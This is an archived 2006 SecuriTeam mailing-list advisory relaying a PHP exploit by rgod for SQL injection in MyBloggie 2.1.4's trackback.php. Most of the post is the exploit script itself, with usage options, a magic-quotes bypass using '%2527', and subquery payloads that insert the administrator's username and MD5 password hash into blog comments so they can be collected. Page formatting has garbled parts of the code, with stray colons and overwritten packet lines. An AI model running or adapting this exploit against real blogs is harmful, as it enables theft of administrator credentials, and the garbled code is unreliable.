

# [EXPL] myBlogger trackback SQL Injection

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-08/msg00025.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxx)>
  - *Date:* 7 Aug 2006 08:52:01 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

myBlogger trackback SQL Injection

---

## SUMMARY

<<http://mybloggie.mywebland.com/>> myBloggie is "considered one of the most simple, user-friendliest yet packed with features Weblog system available to date". A vulnerability in myBloggie allows remote attackers to cause an SQL injection in the product, which in turn can be used to disclose the administrative password (HASH).

## DETAILS

Vulnerable Systems:

\* MyBloggie version 2.1.4 and prior

Exploit:

```
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "MyBloggie <= 2.1.4 trackback.php multiple SQL injections
vulnerability \n";
echo "administrative credentials disclosure exploit\n";
echo "by rgod rgod@xxxxxxxxxxxxxx\n";
echo "site: http://retrogod.altervista.org\n\n";
```

## [EXPL] myBlogger traceback SQL Injection

```
/*  
works regardless of php.ini settings  
against MySQL >= 4.1 (allowing subs)  
*/  
  
if ($argc<3) {  
echo "Usage: php ".$argv[0]." host path OPTIONS\n";  
echo "host: target server (ip/hostname)\n";  
echo "path: path to MyBloggie\n";  
echo "Options:\n";  
echo " -i specify an existent post id (default: 1)\n";  
echo " -T[prefix] specify a table prefix different from default  
(mb )\n";  
echo " -p[port]: specify a port other than 80\n";  
echo " -P[ip:port]: specify a proxy\n";  
echo " -d: disclose table prefix (reccomended)\n";  
echo "Example:\r\n";  
echo "php ".$argv[0]." localhost /MyBloggie/ -d -i7\r\n";  
echo "php ".$argv[0]." localhost /MyBloggie/ -Tm \r\n";  
die;  
}  
  
/* software site: http://mybloggie.mywebland.com/  
  
vulnerable code in traceback.php:  
  
..  
if(!empty($ REQUEST['title'])) {  
$title=urldecode(substr($ REQUEST['title'],0,$tb_title_len));  
}  
else { $back->trackback_reply(1, "<p>Sorry, Trackback failed.. Reason :  
No title</p>"); }  
  
if(!empty($ REQUEST['url'])) {  
$url=urldecode($ REQUEST['url']);  
  
if (validate_url($url)==false) { $back->trackback_reply(1, "<p>Sorry,  
Trackback failed.. Reason : URL not valid</p>"); }  
}  
else { $back->trackback_reply(1, "<p>Sorry, Trackback failed.. Reason :  
No URL</p>"); }  
  
if(!empty($ REQUEST['excerpt']))  
{  
$excerpt=urldecode(substr($ REQUEST['excerpt'],0,$tb_excerpt_len));  
} else {  
$back->trackback_reply(1, "<p>Sorry, Trackback failed.. Reason : No  
Excerpt</p>");  
}  
  
// The blog name
```

## [EXPL] myBlogger traceback SQL Injection

```
if(!empty($ REQUEST['blog_name']))  
{  
  
$blog_name=urldecode(substr($ REQUEST['blog_name'],0,$tb_blogname_len));  
} else  
{  
$blog_name="No Blog Name";  
}
```

```
$timestamp = mktime(gmtime('H', time(), $timezone ),gmtime('i', time(),  
$timezone ),  
gmtime('s', time(), $timezone ), gmtime('n', time(),  
$timezone ),  
gmtime('d', time(), $timezone ), gmtime('Y', time(),  
$timezone ));
```

```
$sql = "INSERT INTO ".COMMENT_TBL." SET post_id='$tb_id',  
comment_subject='$title', comments='$excerpt', com_tstamp='$timestamp',  
poster = '$blog_name', home='$url',  
comment_type='trackback';
```

```
$result = $db->sql_query($sql) or die("Cannot query the database.<br>"  
mysql_error());
```

..

you have sql injection in 'title', 'url', 'excerpt' and 'blog\_name'  
argument

with MySQL >= 4.1 that allows SELECT subqueries for INSERT...

so you can insert admin username & password hash inside comments and you  
will see them at screen

also arguments are passed to urldecode(), so you can bypass  
magic quotes gpc

with '%2527' sequence for the single quote char  
and you can disclose table prefix going to:

<http://192.168.1.3/mybloggie/index.php?mode=viewdate>

you will have an error that discloses a query fragment

=

ex., injecting code in 'title' argument, query becomes:

```
INSERT INTO mb_comment SET post_id='1',  
comment_subject='hi',comments=(SELECT CONCAT('<!--',password,'-->')FROM  
mb_user/*', comments='whatever', com_tstamp='1154799697',  
poster = 'whatever', home='http://www.suntzu.org',  
comment_type='trackback'  
*/
```

[EXPL] myBlogger trackback SQL Injection

```
error_reporting(0);
ini_set("max_execution_time".0);
ini_set("default_socket_timeout".5);

function quick_dump($string)
{
$result=";$exa=";$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=".";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}

$proxy_regex = '\(b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\):\d{1,5}\b';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=="") {
$sock=fsockopen(gethostbyname($host),$port);
if (!$sock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...':die;
}
$parts=explode(':', $proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$sock=fsockopen($parts[0],$parts[1]);
if (!$sock) {
echo 'No response from proxy...':die;
}
}
fputs($sock,$packet);
if ($proxy=="") {
$html="";
while (!feof($sock)) {
$html.=fgets($sock);
}
}
else {
```

## [EXPL] myBlogger traceback SQL Injection

```
$html="";  
while ((!feof($sock)) or  
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($sock,1);  
}  
}  
fclose($sock);  
#debug  
#echo "\r\n".$html;  
}  
  
function is_hash($hash)  
{  
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}  
else {return false;}  
}  
  
$host=$argv[1];  
$path=$argv[2];  
$port=80;  
$prefix="mb ";  
$post_id="1";//admin  
$proxy="";  
$dt=0;  
  
for ($i=3; $i<=$argc; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
if ($temp=="-T")  
{  
$prefix=str_replace("-T","",$argv[$i]);  
}  
if ($temp=="-i")  
{  
$post_id=(int) str_replace("-i","",$argv[$i]);  
echo "post id -> ".$post_id."\n";  
}  
if ($temp=="-d")  
{  
$dt=1;  
}  
}  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error...  
check the path!'; die;}  
}
```

[EXPL] myBlogger trackback SQL Injection

```
if ($proxy=="") { $p=$path;} else { $p='http://'.$host.':'.$port.$path;}
```

```
if ($dt)
```

```
{
```

```
$packet="GET ".$p."index.php?mode=viewdate HTTP/1.0\r\n";
```

```
$packet.="Host: ".$host."\r\n";
```

```
$packet.="Connection: Close\r\n\r\n";
```

```
sendpacketii($packet);
```

```
if (strstr($html,"You have an error in your SQL syntax"))
```

```
{
```

```
$temp=explode("UNIXTIME(", $html);
```

```
$temp2=explode("posts.timest", $temp[1]);
```

```
$prefix=$temp2[0];
```

```
echo "table prefix -> ".$prefix."\n";
```

```
}
```

```
}
```

```
$sql="%2527.comments=(SELECT
```

```
CONCAT(%2527<!--%2527.password,%2527-->%2527)FROM ".$prefix."user)/*";
```

```
//some problems with argument length, maybe with prefix > 3 chars you will
```

```
have some error, cut the '<!--' but hash will be clearly visible in
```

```
comments
```

```
$data="title=hi".$sql;
```

```
$data.="&url=http%3a%2f%2fwww%2esuntzu%2eorg";
```

```
$data.="&excerpt=whatever";
```

```
$data.="&blog_name=whatever";
```

```
$packet="POST ".$p."trackback.php/$post_id HTTP/1.0\r\n";
```

```
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
```

```
$packet.="Content-Length: ".strlen($data)."\r\n";
```

```
$packet.="Host: ".$host."\r\n";
```

```
$packet.="Connection: Close\r\n\r\n";
```

```
$packet=$data;
```

```
sendpacketii($packet);
```

```
$sql="%2527.comments=(SELECT CONCAT(%2527<!--%2527.user,%2527-->%2527)FROM
```

```
 ".$prefix."user)/*";
```

```
$data="title=hi".$sql;
```

```
$data.="&url=http%3a%2f%2fwww%2esuntzu%2eorg";
```

```
$data.="&excerpt=whatever";
```

```
$data.="&blog_name=whatever";
```

```
$packet="POST ".$p."trackback.php/$post_id HTTP/1.0\r\n";
```

```
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
```

```
$packet.="Content-Length: ".strlen($data)."\r\n";
```

```
$packet.="Host: ".$host."\r\n";
```

```
$packet.="Connection: Close\r\n\r\n";
```

```
$packet=$data;
```

```
sendpacketii($packet);
```

```
sleep(1);
```

```
$packet="GET ".$p."index.php?mode=viewid&post_id=$post_id HTTP/1.0\r\n";
```

```
$packet.="Host: ".$host."\r\n";
```

## [EXPL] myBlogger traceback SQL Injection

```
$packet="Connection: Close\r\n\r\n":  
sendpacketii($packet):  
//echo $html:  
$temp=explode('"message"><!--',$html):  
for ($i=1; $i<count($temp); $i++)  
{  
$temp2=explode("-->",$temp[$i]):  
if (is_hash($temp2[0]))  
{  
$hash=$temp2[0]:  
$temp2=explode("-->",$temp[$i+1]):  
$admin=$temp2[0]:  
echo  
"-----\n":  
echo "admin -> ".$admin."\n":  
echo "password (md5) -> ".$hash."\n":  
echo  
"-----\n":  
die():  
}  
}  
//if you are here...  
echo "exploit failed...":  
?>
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:rgod@xxxxxxxxxxxx> rgod.

The original article can be found at:

<http://retrogod.altervista.org/mybloggie\_214\_sql.html>

http://retrogod.altervista.org/mybloggie\_214\_sql.html

=====  
=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxx

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

[EXPL] myBlogger traceback SQL Injection